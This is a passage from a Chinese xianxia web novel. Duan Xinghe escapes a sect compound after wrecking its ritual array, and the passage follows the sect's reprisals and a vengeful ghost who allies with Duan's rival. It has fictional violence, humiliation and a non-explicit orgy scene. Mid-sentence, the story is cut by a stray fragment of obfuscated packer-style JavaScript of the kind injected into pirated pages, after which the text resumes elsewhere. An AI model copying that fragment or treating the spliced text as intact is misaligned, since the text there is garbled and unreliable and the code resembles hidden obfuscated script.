段星河扭头看了他一眼,却不肯爬。伏顺眼看僵持住了,生怕他们恼羞成怒,连忙打圆场道:“我来,我是属狗的,我替我哥来一个!” 他汪汪地叫了几声,爬到薛红玉跟前,低头蹭了蹭她的脚。薛红玉生的如桃花一般美艳,莫说这些玄鬼为她争风吃醋,宁可舍弃尊严给她当狗。就连伏顺闻见了她身上馥郁的香气,也是一阵心动,脸不觉间红了起来。 薛红玉把雪白的脚伸了下去,圆润的脚趾划过伏顺的肚子,动作轻轻的,柔柔的。伏顺陶醉在温柔乡里,有些不知所措。薛红玉忽然猛地往他胯/下一踹,差点把他踢得断子绝孙。伏顺嗷的一声惨叫,眼泪都淌出来了,疼的满地打滚。 薛红玉冷冷道:“没用的东西,连本座也敢觊觎!给我拖下去喂狗!” 有人提起了狗链,狼狗原地又扑又跳的,已经按捺不住了。有人上前来拉扯伏顺,他慌忙道:“哥,救我,救我!” 段星河急了,拼命拉住了伏顺,道:“别伤我兄弟!你要什么,我答应你就是了!” 薛红玉哼了一声,道:“又臭又硬的,我能用你做什么……给我戴着这嘴套,一天一夜不准吃饭,先学会当狗再说。” 她想了想,觉得还不解气,道:“给我关到马棚里去,让他们知道谁才是这里的主人!” 几名玄鬼大步过来,把段星河和伏顺押到了马厩里,拿两根铁链栓到了马桩上。旁边的马厩里,一匹枣红马伸过脑袋来看了他俩一眼,噗地朝他们喷了一口气,仿佛很不欢迎他们。 伏顺捂着马嘴把它推了回去,道:“大哥,借住一天,别喷了,我们不跟你抢草吃……马粪也不偷你的。” 段星河靠着墙边坐着,脸上戴着那个铁嘴套。他还没受过这样的屈辱,伸手拽了几下,扯不下来。铁笼头按着他的鼻子和下巴,他说话都不利索,勉强道:“给我弄下来!” 伏顺给他解了下来,把那晦气玩意儿扔在了草堆上。段星河狠狠地踢了一脚,恨声道:“薛红玉……给我好好等着,早晚让你百倍奉还!” 天渐渐黑了,段星河坐在草垛上,望着整座宅子的上空,见一道隐约的黑气冲天而起,是从深处的一座大殿中发出来的。上回他们只来得及去看了夜游神的寝殿,不知道后面是干什么的,好不容易来一趟,不能白受这些罪。那些人以为自己被锁在这里,必然放松了警惕,这倒是个出去的好机会。 他低声道:“把链子打开。” 伏顺道:“这就跑路?” “不跑,”段星河道,“最后面那个大殿咱们还没去看过呢,趁着天黑去转一圈。” 伏顺从袖子里摸出一根铁签子,捅到了锁眼里,轻而易举就把锁打开了。段星河活动着手腕,悄然出了马厩。在这里待久了的人说,后头的大殿是给虺神休憩的地方,里头藏着许多秘密,一般人不得靠近。 段星河要找的就是他们的秘密,要不然也不至于冒着危险混进来。两人摸过来,见大殿前悬着块匾额,上头写着虺神殿三个大字。殿门外有两个玄鬼守卫着,远处有值夜的人提着灯笼巡逻,伏顺低声道:“有人看着,怎么办?” 段星河低声道:“你在外面接应吧,我很快就回来。” 他怀里揣着李玉真给他的飞天遁地符,用灵力激发出了其中的力量,趁人不备,脚下一蹬便飞上了大殿的屋顶。伏顺吓了一跳,没想到他还有这样的神通。那两个玄鬼听见了衣袂的风声,回头望了过来,道:“有人?” 伏顺连忙一矮身,躲到了旁边的灌木丛中,喵地叫了一声。段星河趁机一个倒挂金钩,从窗户里翻进了大殿。那两个侍卫巡视了一圈,没发现有人,以为是野猫经过,便放松了警惕,又回到大门前站岗去了。 大殿里空荡荡的,前方的架子上点着灯火,在黑暗里放出幽幽红光。周围回荡着他的脚步声,月光从窗户里照进来,显得有些凄凉。 大殿正前方有一座巨大的虺神雕像,是用黄铜雕成的,足有三丈高。大蛇尾部盘绕着,上身直立,背后生着一双翅膀。段星河走到了雕像面前,抬头注视着它,一时间有些恍惚。他在梦里见过它很多次,但真正在现实中看到这样一个庞然大物,还是有些震撼。 大蛇静静地看着他,没有梦中的它那么可怕。段星河轻轻拍了拍它的身体,触摸到它实体的感觉有些奇妙,蛇尾上一枚枚鳞片纤毫毕现。毕竟是个死物,没什么好看的了。 段星河环顾着四周,这地方最引人注意的就是这尊虺神像,除此之外就是雕像面前的那几块石头了。 虺神的前方是一个用碎水晶拼成的圆形祭坛,上面摆放着几块黑曜石,正中飘浮着一块半透明的黑色宝石,石头中流动着金色的光芒,不知是什么稀罕物。几块石头之间用红褐色的血迹连接起来,形成了一个法阵。 这个法阵持续吸收着周围的阴邪之气,将这股力量输送给虺神以及要供养的人。段星河总觉得这法阵似曾相识,一时间想不起来在哪里见过。 漆黑的法阵向上放出光,仿佛投射着远方某一处的情形。段星河见光芒中隐约有个身影高坐在一个宝座上,那个人影十分瘦弱,微微垂着头,就像一具提线木偶。段星河觉得奇怪,凑近了想看的清楚一些,那法阵却骤然一亮,啪地放出一道雷电,仿佛警告他不准靠近。 段星河的脚趾头差点被它打中了,微微皱起眉头。他再定睛一看,光芒中的影子也消失了,只剩下一片茫茫的黑色。 这玩意不是什么好东西,绝对不能留下。他虽然没找到什么大秘密,但能破坏了他们的法阵,也不算白来一趟。虺神和凤神之间的力量此消彼长,灭了这条大蛇的威风,凤凰自然就支棱起来了。 他将灵力凝结在手中,重重一掌拍下去,法阵正中的黑宝石登时破裂开来,那股强烈的力量如流沙一般散落开来。法阵维持了许多年,不至于一下子崩塌,中心的那股力量还没有完全消散,但比先前微弱多了。 段星河又把另外几块黑曜石也打得粉碎,眼看着没有别的收获了,便悄然离开了。他从窗户里一跃而出,钻进了灌木丛中。伏顺在附近等他,低声道:“怎么样?” 段星河道:“没什么好东西,我顺手把它们的摊子掀了。” 两人怕被人发现,悄然回了马厩,照旧锁上铁链呼呼大睡,假装从来没离开过这里。次日一早,孙堂主过来看他们,他站在马厩跟前敲了敲栅栏,道:“睡得还挺踏实的,反省的怎么样?” 段星河睁开了眼,坐了起来道:“我知道错了。” 孙堂主道:“错哪儿了?” 段星河心想自己错就错在没找个机会早点杀了那个妖女,让她在这里作威作福把自己关在马棚里。他面上却道:“小人不该违逆赤练使的吩咐。” 孙堂主还算满意,道:“嘴套呢,谁让你摘下来的?” 嘴套被扔在一旁的草堆上,段星河道:“戴着憋得慌,就摘了。” 孙堂主对他的自作主张有些不满,但也懒的追究,道:“赤练使慈悲,让你俩回去休息。晚上开庆功会,你们过去站岗。” 伏顺道:“什么庆功会?” 孙堂主道:“昨天刚劫了浩荡盟的东西,赤练使要庆祝一番,叫了不少人来。你们有点眼色,别给主子丢人。” 段星河倒是想瞧瞧这城里还有多少大人物也是万象门的人,便道:“是,小人一定好好站岗。” 孙堂主一摆手,有人打开了马厩,解开了他们身上的铁链。段星河伸了个懒腰,缓步走了出来,伏顺跟他一起回了侍卫房。打铁匠吃完了饭,刚从外面回来,见这兄弟俩回来了,凑过来道:“你们上哪儿去了?” 段星河道:“干活儿去了。” 打铁匠兴奋道:“什么好活,具体说说?” 他挤眉弄眼的,显然是知道点什么。被赤练使叫过去的,多半都成了她的入幕之宾,何况段星河生的高大英俊,被看上了也不奇怪。其他人就算没过来问,却也十分好奇,竖着耳朵听他们说话。段星河显得有些没精打采,道:“有什么好说的,去马厩拾粪了。” 打铁匠还不信,段星河把胳膊抬起来,往他脸上一凑。打铁匠顿时闻到了一股马粪味儿,熏得往后退了一步,道:“唉呀妈呀,这什么味!” 段星河拍打着身上的草屑,道:“都跟你说去拾粪了,你还不信。” 其他人都十分意外,寻思着多半是他不识抬举,得罪了赤练使,这才被扔到了马棚里。一人低声道:“你小子是不是傻,双修多好的事啊,多少人想去还捞不着呢。” 那不是双修,是给她当炉鼎,榨干了就扔。段星河皱眉道:“赤练使这么个搞法,是跟夜游神学的么?” 那人怔了一下,道:“夜尊倒是不搞这一套。他一年到头就是打坐练功,要不然就是到处跟人打架,对女色没什么兴趣。” 段星河寻思着在壁画上见他也是到处降龙伏虎的,一门心思修炼,恨不能把天捅个窟窿。薛红玉这帮人却就知道享乐,越活越倒退了。他往大通铺上一躺,开始补觉。伏顺也没什么事,在段星河身边躺下,没多久就睡着了。 队长沉默地看着他们,觉得十分碍眼。这两个人跟饭桶一样,吃饭的时候一个能顶俩,睡起觉来能从天亮睡到天黑,干活不行,偷懒第一,也不知道赤练使相中他们什么了,非得抬举这两块烂泥。 段星河本来也没想在这里上进,来就是混的,反正万象门的便宜不占白不占。他睡到申时左右,实在睡不着了,拿脚蹭了蹭伏顺,道:“起来吧。” 伏顺闭着眼,迷迷糊糊地说:“起来干什么,放饭了吗。” 段星河看着房梁道:“起来洗个脸,等收拾完了,厨房就放饭了。” 杨镖头听着他俩的对话,觉得这两个小子简直懒的天怒人怨,要饭的头目见了这兄弟俩都要甘拜下风。他忍不住道:“你们俩差不多一点啊,小心队长给你打小报告,半夜拖出去喂了狗。” 伏顺咋舌道:“这么瘆人啊,不就睡个懒觉吗,不至于吧?” 杨镖头道:“至不至于我说了不算,反正队长已经盯上你们了,自求多福吧。” 伏顺道:“不怕,我哥还是副队呢。” 他说着慢吞吞地爬了起来,弯腰穿鞋。段星河把有马粪味儿的那身衣裳换下来了,去院子里打水擦了擦脸和脖子,重新把头发梳了一遍,又显得精神利索起来。 两人一起往厨房走,伏顺小声道:“哥,你昨晚咋一下蹦那么老高呢,又学什么新本事了?” 段星河这才想起忘记给他了,从怀里摸出一张黄符,递给伏顺道:“李玉真画的,叫飞天遁地符。你用的时候拿手一拍,把灵力灌注进去就行了。” 两人去厨房领了几个大包子,就在路边蹲着吃了。伏顺道:“哥,咱在这儿待得差不多了吧,我感觉也摸不出什么东西了。” 段星河本来以为永夜城是夜游神的地盘,应该藏着不少秘密,但自己找了这许久,也没找到什么有效的情报,甚至连夜游神的真容都没能看到,更别提解除自己身上诅咒的方法了。不过好在自己昨天夜里毁掉了他们吸取能量的法阵,也不算白来一趟。 他抬眼看着远处的虺神殿,黄昏之中,阴沉的力量越来越弱了。 天就快黑了,明天早晨他们应该就会发现异常。段星河打算天亮之前离开这里,在这之前先去庆功宴站岗,看看有多少大人物跟他们勾结在一起。他吃完了东西,在油纸上擦了擦手,站起来道:“先去瞧瞧热闹,一会儿就走。” 庭院里的灯火渐次亮了起来,粉衣侍女和白衣伥鬼把盘盏捧进集会的大堂里,桌上摆满了精致的菜肴和美酒。段星河和伏顺站在角落里,跟其他玄鬼一起守卫着此处。 被邀请的大伥陆续到了,每个人脸上都戴着面具,挡着半边脸。段星河默默地注视着他们,不知道他们在人前的身份是什么。薛红玉坐在上首,微微一笑道:“欢迎各位前来,咱们近日战胜了浩荡盟,彰显了虺神的威仪。今晚宴请各位,请大家务必尽兴,将至高无上的快乐献给虺神!” 她举起酒杯,大伥们也举起酒杯与她共饮。新来的厨子总算得以大展拳脚,今晚这桌宴席就是他做的。众人对这一桌佳肴很满意,嘴上吃的满是油花。有人称赞道:“赤练使,您可是找了个好厨子啊!” 薛红玉道:“不光饭菜好,等会儿还有上好的节目给诸位欣赏。” 那人便露出了笑容,道:“好、好,那我就拭目以待了。”35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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薛红玉就在上首看着,没有制止,反而觉得饶有兴味。其他大伥拉过周围的侍女,直接就往脸上亲。那些女子也不恼,她们是除了伥鬼和玄鬼之外的第三种教众,叫做艳鬼。这些人在这里待的久了,已经被洗了脑,觉得与上位者媾和就是献给虺神的贡品。其他玄鬼痴迷地看着屋里的情形,也陷入了欲望之中。 那一群大伥之中,有一人身材瘦高,脸上的面具被蹭歪了,露出了大半张脸来。段星河认出了他,却是永夜城的太守,前阵子就是他把段星河和伏顺关在了监狱里。这人在外一副道貌岸然的模样,背地里却如此下流,实在让人不齿。 屋里弥漫着淫靡的气息,到处都是白花花的肉/体。伏顺不敢多看,觉得自己浑身发烫,脑子都要炸了。来之前他也没想到会看见这样的情形,这些有钱人可比他想象的会玩多了。 此处不能久留,段星河往后挪了一步,见周围没人注意到他们,悄悄地又挪了一步。侍卫队长注意到了他,道:“你干什么去?” 段星河道:“我……解个手。” 队长咧嘴一笑,道:“解手,是憋的难受吧。” 段星河道:“没,是吃坏肚子了……我去去就回。” 他说着快步往外走去,伏顺连忙跟上去道:“哥,等等我,我也拉肚子。” 队长冷笑了一声,道:“这就顶不住了,没出息。” 薛红玉沉浸在那一片淫靡的气氛中,十分陶醉。她扬起脖颈,将一股气息深深地吸入了体内。她的面色渐渐变得红润起来,仿佛年轻了三四岁,神态也更像少女了。阿蚺站在一旁,一副冷淡的表情,对周围的情形无动于衷。他个头虽然高大,却是个天阉,对这种事一点反应也没有。薛红玉四下环顾,道:“昨天我调教的那小子呢?” 队长道:“他去茅厕了。” 薛红玉悻悻道:“懒驴上磨屎尿多,把他给我揪回来!” 段星河回了侍卫房,把那本万象门的妖灵心法拿了出来,打算跟伏顺溜之大吉。这时候就见一人大步奔了过来,道:“赤练使找你,快回去。” 段星河心里清楚回去没什么好事,嘴上答应道:“好好,这就去。” 伏顺趁机用手刀对着那人后颈一砍,把那人劈得昏了过去。两人沿着墙根往外走去,宅子里有人注意到了人影,大声喊道:“站住,干什么的!” 段星河懒得跟他们虚与委蛇了,抬手一按怀里的飞天遁地符,激发出了灵力,纵身一跃飞过了墙头。后头的人迅速追了过来,伏顺也学着他的模样一按符咒,只觉得脚下生风,如同踩着风火轮,嗖地一下就过了墙。 伏顺正觉得新鲜有趣,忽然感到了一股下坠之势,原来那符咒被段星河用过一次了,飞到一半灵光就灭了。伏顺一个踉跄摔在地上,听见身后府门大开,一群人乌乌泱泱地追了出来,喊道:“抓贼啊——” 伏顺连忙钻进了一片灌木丛,后怕道:“哥,你又坑我!” 段星河伸手扶了他一把,道:“嗐,两张符长得一样,我哪知道哪张用过了。” 两人潜伏在树丛里,看着那帮人像没头苍蝇似的跑远了。段星河寻思着自己破坏了他们的法阵,那些人势必不肯善罢甘休,还是找个替死鬼为好。他招来了一道水流,在空地上冲击出了一个漩涡状的泥坑,模仿于九水遁之术的痕迹,把矛头引向了李司正那一路人。 伏顺疑惑道:“哥,这什么意思?” 段星河眼里带着一点促狭,道:“刘正阳不是咱们的好兄弟么。让他殿个后,他应该没有意见吧。” 伏顺明白过来,露出了兴奋的笑容,道:“妙啊,谁让那小子天天跟着咱们,这口大锅给他背着正好!” 这边布置完毕,追兵早就不见了踪影。他们从树丛里钻了出来,借着夜色的掩护,悄然往城中客栈奔去了。 屋里那些人还在纵情享乐,全然不知外头发生了什么事。薛红玉等了片刻,听得外头一阵大呼小叫。忽然见孙堂主奔了进来,低声道:“赤练使,不好了、不好了!” 薛红玉道:“怎么了?” 孙堂主道:“方才院子里招了贼,属下带人出去追了片刻,没找到人。我不放心,回来又检查了一圈,感觉虺神殿里的力量越来越微弱。我过去一看,见中间的灵石被打得粉碎,法阵的灵力全散了。” 薛红玉的脸色一变,立刻往外奔去。她冲进了虺神殿,看着那被破坏殆尽的法阵,感觉浑身都凉了。 她双手捧起了中间粉碎的幽冥晶石,无论如何也拼不起来。其他的黑曜石还好说,只是中间的幽冥晶石是夜游神当年从极北至阴之地的洞穴里凿出来的,整个万象门也只有三块,一块在总舵,一块在纪教主手里,还有一块就在永夜城。只要有它构成的法阵在,他们就能源源不断地把世间的负面力量输送给虺神。如今晶石被打碎了一块,薛红玉简直不知道该怎么向教主交代。 阿蚺看了那情形,也大吃一惊,道:“啊……这怎么办!” 薛红玉低声道:“先别走漏消息,我想办法把它修复起来试试。” 阿蚺担忧道:“大姐,那要花费很多精力的。” “那还能怎么样,”薛红玉道,“告诉教主的话,咱们这些人的小命都要不保!” 她说着,警告似的看了孙堂主一眼。孙堂主噤若寒蝉,自然也不敢让别人知道此事。薛红玉盘膝而坐,将浑身的力量聚集在手中,一丝一缕的力量缠绕着幽冥晶石的碎片,渐渐地将它拼合在一起。 她头上渗出了又细又密的汗珠,显得十分吃力。阿蚺和孙堂主不敢出声,良久薛红玉吐出了一口血,瘫坐在地上,显然是元气大伤了。 那块晶石上面满是裂纹,费了这么大功夫,也只拼回去三成,向总舵供应的能量也大打折扣。这么一折腾,薛红玉也没精力再顾别的事了。她哑声道:“修复它是个天长日久的功夫,慢慢来吧。” 只要晶石勉强能用,他们的小命就算保住了,这些人都松了口气。薛红玉擦去了嘴角的鲜血,恨声道:“给我好好查清楚到底是谁干的,我非把那个人的皮扒下来不可!” 孙堂主峻声道:“属下一定仔细调查,绝对不放过他!” 85.永夜城 七 段星河扯下了人皮面具,脱了玄鬼的黑衣扔在野外,从窗户钻回了客栈的房间。天刚蒙蒙亮,他便去隔壁敲门。步云邪披着衣裳来开门,见了他眼睛顿时一亮,道:“你回来了!” 段星河闪身进了屋,道:“你头疼好了没?” 步云邪道:“早就好了。” 段星河伸手一摸他脉搏,感觉确实气息调和,没什么大碍了。他道:“那好的很,赶紧收拾东西,叫其他人马上离开。” 之前在这里待了这么久都没动静,忽然说走就走。步云邪意识到有危险,道:“怎么回事?” 段星河低声道:“薛红玉他们来了,等会儿应该就要搜过来。把刘正阳他们留下压阵,咱们赶紧走。” 步云邪一凛,登时道:“好,我去叫其他人。” 段星河去把赵大海他们叫了起来,步云邪叫醒了李玉真等人。所有人迅速收拾停当,结了住店钱,悄然出了城门。魏小雨还没睡够,在司空玉的马车里睡得昏天黑地。墨墨和小对眼窝在她们脚边,烤着暖炉十分惬意。六幺赶着车,扭头道:“县主,吃点东西吧,包子要凉了。” 他离开前买了些吃的,司空玉没什么胃口,道:“小雨吃吧。” 魏小雨摇了摇头,这两天不知道为什么,一直没精打采的。司空玉伸手摸了摸她的脸蛋儿,感觉不烫,她道:“哪儿不舒服么?” 魏小雨半闭着眼,跟前阵子生龙活虎的模样孑然不同,大约是天冷的缘故。司空玉有些心疼,道:“难受就多睡一会儿吧。” 她把火炉拨弄的暖和了一点,马车里暖融融的。魏小雨蜷缩着身体,片刻就睡熟了。 薛红玉等人在附近找了一圈,没发现人,却找到了段星河留下的那个大坑。薛红玉蹲在泥坑旁边看了半天,伸手捻了捻潮湿的泥巴,道:“水遁之术,你们怎么回事,让小贼在你们眼皮子底下逃跑了!” 孙堂主讷讷的,显得有些害怕。薛红玉道:“让你查可疑的人,有线索没有?” 孙堂主道:“前两天刚招进来的那兄弟两个不见了,就是您亲自调教的那小子。” 薛红玉皱起了眉头,就觉得那小子有些不同寻常。她道:“是他把法阵破坏了?” 孙堂主道:“应该是吧,除了他最近也没有可疑的人了。” 阿蚺出声道:“那人什么来历,为什么破坏咱们的法阵?” 孙堂主道:“属下怀疑他是浩荡盟派来的卧底,要不然也可能是钦天监的人……属下听说钦天监的那些人会水遁,但没亲眼见过。” 薛红玉有些诧异,道:“什么钦天监,大幽的人来了,你怎么不早说?” 她自从来了,一门心思跟浩荡盟的人作对,还不知道李如芝他们也在永夜城里。孙堂主道:“赤练使日理万机,属下还没来得及跟赤练使汇报。” 薛红玉微微皱眉,道:“他们在什么地方?” 孙堂主道:“在悦来客栈。” 薛红玉一摆手,道:“叫上些兄弟,跟我一起去看看!” 刘正阳等人还留在永夜城,打算在这边过了年再走。大清早几个人上街买了点豆腐脑,搭配着小笼包和茶叶蛋,打算回去好好吃一顿。刚回客栈大堂,就见一群黑衣人冲了进来。阿蚺道:“钦天监的人呢?” 小二哥一脸茫然,道:“那不就在你身后站着呢,有事么?” 众人回过头,迅速把刘正阳等人围了起来。薛红玉还是头一次跟刘正阳他们打照面,以为他们跟段星河关系不错,登时把新仇旧恨都算到这些人头上来了。她道:“就是你们的人混到万象门里来了?” 刘正阳一脸茫然,道:“啊,你说什么?” 薛红玉不耐烦道:“少给老娘装傻,谁干的,给我滚出来。要是不说,我就把你们都杀了!” 于九看情况不妙,上前一步挡在了刘正阳身前,道:“这位姑娘,我们确实不知道你在说什么。咱们之间是不是有什么误会?” 法阵到现在还没修补好,薛红玉心烦的要命。她提起鞭子,啪地朝于九抽了过去。于九眼疾手快,闪身躲过了,刘正阳的反应却慢得多,被一下子抽破了脸,登时大怒道:“你这个凶婆娘干什么,我又没得罪你们,人多了不起啊!” 玄鬼们纷纷拔出刀来,道:“放肆,敢对我们赤练使无礼!” 大堂里的百姓们见要打起来了,饭也不吃了,纷纷向外逃去。薛红玉一心要抓几个顶罪的,万一修不好幽冥晶石,也能跟教主交代。她皱眉道:“少跟他们废话,统统拿下!” 钦天监的侍卫们也不是好惹的,顿时拔刀跟他们应战。李如芝听见了下面的吵嚷声,快步走到了楼梯口。他见双方打了起来,吃了一惊。刘正阳跟人过了几招,被一脚踢到了角落里,撞翻了一个垃圾桶。他浑身都是菜叶子鸡蛋壳,又臭又脏气的要命,道:“小师叔,这些人怎么这么不讲道理?” 于九寻思着这帮人来势汹汹的,好像确实被什么人得罪了。钦天监的人除了自己这一支之外,就是段星河他们了。多半是那小子偷偷去惹了事,把黑锅扣到了自己这些人头上。 他大声道:“诸位,我知道是怎么回事了,听我解释——” 客栈里乌乌泱泱的,根本没人听他说话。一名玄鬼提着刀砍了过来,于九来不及躲闪,使出了水遁,瞬息间出现在了不远处。其他的玄鬼看见了这情形,都睁大了眼,喊道:“他会水遁,就是他干的!快把他拿下!” 于九不知道自己怎么使个水遁就得罪他们了,简直是会呼吸都有错。那帮人也不听他解释,像马蜂一样朝他涌了过来。于九没办法,只得一把拉起刘正阳,再次使出水遁之法,一道旋涡钻进了地下,嗖的一声不见了。一群玄鬼围了上来,却见人已经没影了,只剩下一道水流在原地荡漾。 其他人不会水遁,就没这么好的运气了。薛红玉咬牙切齿道:“给我把他们都拿下!” 那些侍卫被重重包围住了,李如芝眼看救不了他们,快步回了二楼,拿了金银细软,从窗户里跳了出去。客栈里不断传出刀兵砍杀的声音,还有侍卫惨叫的声音。李如芝回头望了一眼,心中有些过意不去,却又喃喃道:“你们本来就是陛下派来护卫本官的,为我而死也是你们的职责,别怪我狠心。” 他骑着马混入了人群,悄然出了城门。没走多远,就听身后一人喊道:“大人,等等我——” 他回头一望,却见张掖骑着马赶了上来,身上也背着一大包财物。城里有那么多追兵,他能带着东西逃出来,也是有点本事了。两人对视了一眼,张掖喘着气道:“大人,我运气好,他们没注意到我。这人生地不熟的,您可千万别扔下我!” 他不会道法,只有一张会拍马溜须的嘴,没有了李司正这座大靠山简直寸步难行。李司正也习惯了被他伺候,便道:“我知道你机灵,有法子逃出来,正要出城等着跟你汇合。” 张掖虽然知道他是说漂亮话,还是赔着笑道:“多谢大人,我就知道您心里有我。” 天气寒冷,两人站在路边,显得十分凄凉。昨天还是前呼后拥的司正大人,如今又成了光杆司令。他也不知道自己的人生为什么总是这么大起大落,而且总是麻烦主动来找他。他怀疑是段星河那小子捅了马蜂窝,把黑锅扔到了自己的头上。他道:“姓段的那小子呢?” 张掖道:“不知道,闹这么大动静也没见他们出来。那些人要是还在城里,万象门的人肯定不能放过他们。” 李司正太了解那些人了,恨声道:“八成就是他们捣的鬼,提前跑路了,让咱们替他受过。” 这些人一路上也没少坑了段星河,就算真是他们干的,也是礼尚往来罢了。 事已至此,说这些也没用了。张掖打了个喷嚏,冻得瑟瑟发抖,道:“大人,咱们接下来怎么办?” 李司正叹了口气,这地方这么凶险,就他们两个人实在很难活下去。他道:“先躲追兵吧,再想办法把于九他们找回来。” 他凝神感受了片刻,感到一点微弱的灵力在南边不远处,似乎就是于九。他拨马回头,道:“他们应该去南边了,咱们去看看吧。” 夜色深沉,山林中一个绿色的身影飘荡过来,月光照亮了他的脸,那人容貌昳丽,神色中却带着一股浓烈的怨气,却是南宫青萝。 之前他被关在浮屠中,成日听一群和尚念经,念得他头大如斗。他什么也听不进去,只想找段星河他们算账。他辛辛苦苦修炼了三百年,却被段星河打的奄奄一息,就连他以自己的神魂炼制成的法器捆神索也被那个姓李的小道士夺走了。阿萝简直气得要发疯,那些和尚却根本不问情由,只是一天到晚对着他念经,口口声声说要度化他。 阿萝根本不需要什么度化,他已经习惯了这样的活法,漂泊在世间,想做什么就做什么,不受任何规则的约束。若真有来世,他也不想做人了,活着太苦,他宁可恣意妄为一番,最后灰飞烟灭也无所谓。 老主持在外头念诵经文,阿萝躺在地上睡觉,一会儿梦见蚊子嗡嗡嗡嗡,不管朝哪儿都睡不踏实。他心烦起来,踢了石墙一脚,大声道:“臭和尚,你唠唠叨叨的说些什么?” 老主持道:“此乃地藏经。听此经文,心生忏悔,可得有余涅槃。” 阿萝不懂佛法,却知道涅槃便是死了。他道:“我死不了,也活不成,是个飘零人间的怪物,你别费这心思了。” 老主持道:“万物有灵,一花一木皆可受佛法度化,何况阁下尚有智识。” 阿萝冷笑了一声,起了心思要跟他辩一辩,盘腿坐了起来,道:“那你说什么是涅槃?” 老主持缓缓道:“断一切烦恼而绝未来生死之因者,尚余今生之果报身体,谓之有余涅槃。其人今生之果报尽而归于寂灭,谓之无余涅槃。” 他的声音庄严慈悲,是真的想令他开悟。阿萝的神色微微一动,道:“若是能死,我不想再入轮回,做人苦,堕三恶道更苦。有没有一了百了的法子?” 老主持道:“我等长夜修习空法,得脱三界苦恼之患,住最后身有余涅槃。若想了却一切因果,乃是无余涅槃,非大成就者不能达。” 阿萝听明白了,这些和尚日夜念经,最后也只能达到有余涅槃的境界。若想断绝一切,乃是无余涅槃,一般人还没有这个福分。 以前他只觉得活着难,没想到要死的干净利落,再无转世也这么艰难。阿萝心灰意冷,倒了回去,道:“我就想死的透透的,三界六道再也没有我,那便好得很。可惜啊,大和尚,连你们也做不到,又何必来度我呢?” 他大睡了几天,恢复了一部分法力,趁着一个月黑风高的夜晚,卯足了劲儿往外一撞,把浮屠撞了口子,化作一团青烟飘了出来。 阿萝想起当时的情形,抬手摸了摸头顶,感觉脑门还隐隐作痛。在此之前,他已经对着一个地方撞了好几天了,能把大悲寺的浮屠撞出一道口子,他应该也是头一个了。 他张开了手,一点碧色的灵光浮动着,又悄然消失了。他身上的法力只剩下了三成,要找段星河他们算账,来硬的是不行了,只能想点别的法子。自己辛苦炼的法器还被他们拿着,他打算先杀了李玉真,夺回捆神索,恢复了法力再做其他打算。 他听说段星河他们离开了永夜城,又往西去了。他便追了过来,路上却不见那一行人,只有苍凉的月光照下来,显得分外寂寥。 他一跃上了一棵大杨树,坐在枝杈中间,想休息一会儿。忽然望见远处一队人骑着马朝这边赶来,幽红的马灯挂在鞍子上一晃一晃的,在夜里格外显眼。前方两个人跌跌撞撞的,无路可逃,一头钻进了这边的树林。 那两人一路奔逃,不时回头望一眼来路,生怕被追上了。 阿萝觉得有趣,看着他们跑到附近,不知道是怎么一回事。那两人不是别人,正是刘正阳和于九。他们从永夜城被万象门的人追杀,一直逃到了这里,想去找李如芝,到现在也没遇见他。阿蚺带着一队人,阴魂不散地跟着他们,非要抓他们回去不可。 于九知道万象门的人心狠手辣,落在他们手里还不如死了。他带着刘正阳拼命逃到了这里,白天就吃了一顿饭,此时又累又饿,几乎已经力竭了。 刘正阳扶着一棵大树,喘着气道:“小师叔,我走不动了,歇会儿。” 于九也累得够呛,停了下来。刘正阳掏出水囊来,喝了一口水,骂道:“都追了三天了,还追……一帮疯子,属王八的咬着不放!” 于九在一棵树下坐下了,格外珍惜这短暂的休息机会,沉默着不想浪费体力。刘正阳愤愤道:“都是段星河那臭小子,肯定是他捅了娄子,扔到咱们身上来了。那家伙心歹的很,不是头一次这么干了!” 阿萝本来只想看看热闹,听见他提到了段星河,耳朵顿时竖了起来。敌人的敌人就是朋友,阿萝觉得这两个人有点意思,翩然一跃,现身在了那两人面前。 刘正阳正在大骂,眼前忽然出现了一个少年。那人漂浮在半空中,身上绿色的衣衫在风里不住飘荡,皮肤白的几乎透明,就如同山野中的精怪一般。刘正阳吓了一跳,往后退了一步道:“你是谁?” 于九也心生警惕,摸向了腰间的佩剑,站了起来。 阿萝道:“你跟段星河什么关系?” 刘正阳略一迟疑,道:“你问这个干什么?” 阿萝沉下了脸,道:“本座问你,你就老实回答。” 刘正阳把心一横,恨声道:“那小子是天底下第一混账王八蛋,老子平生最恨的人就是他。他干了坏事就跑,让老子替他背黑锅,要是让我见着了他,我非把他的皮扒下来不可!” 阿萝哈哈大笑起来,满意道:“骂得好,本座就爱听人骂他!” 他伸手一抓刘正阳的手臂,接触到他的一瞬间凝神观想,看到了他的意识。刘正阳的手上一麻,脑子里瞬间一片空白。阿萝发现面前的这小子跟段星河是同宗的师兄弟,后来又都进了钦天监做事。这小子总爱跟着段星河,段星河烦他烦的要命,经常捅了娄子扔在他头上,巴不得那些牛鬼蛇神把他杀了。刘正阳也不是什么善茬,平生最大的愿望就是杀了段星河以解心头之恨。两个人冤冤相报,没完没了,着实是一对缠缠绵绵的好兄弟。 阿萝正想找个人帮自己对付段星河,遇上了这个二杆子,简直正中下怀。 刘正阳的意识回来了,挣脱了他的手,道:“你干什么?” 阿萝也不以为忤,轻飘飘地浮在半空中,道:“你想对付段星河,我可以帮你。” 刘正阳半信半疑的,道:“你有这个本事么?” 阿萝扬起了嘴角,道:“本座的本事大得很,就让你见识见识我的厉害。” 他说着一拂衣袖,一团白雾弥漫在山林中。阿蚺远远望见那两个人逃进了山林里,也带人钻了进来。他找了一阵子,忽然见前头漂浮着一片雾气,他带着人在林子里转来转去,却发现自己总在一个地方打转。 一名玄鬼道:“大哥,这地方咱们是不是走过?” 阿蚺四下环顾,感觉到处都差不多。他往前走了几步,见前头有个分叉路,左边似乎走过了,一挥手道:“这边。” 一群人跟着他走了右边的路,身影渐渐消失在林子深处,被雾气淹没了。 刘正阳就躲在不远处的灌木丛中,见那些人原地鬼打墙了一阵子,迷迷瞪瞪地越走越远,竟就这么被骗走了。刘正阳和于九都心中大喜,没想到在这里遇上了救命的神仙。两个人都对面前的少年刮目相看,于九抱拳行礼道:“多谢救命之恩,不知阁下尊姓大名?” 阿萝端然道:“我是夷州王亲封的谶语师,能断人生死,看人的命运无一不准,大家都叫我——玉蝉仙。” 他的来历这么大,却不知为何身处在这荒山野岭,看起来还有些狼狈。于九疑惑地看着他,道:“那阁下为何来这里?” 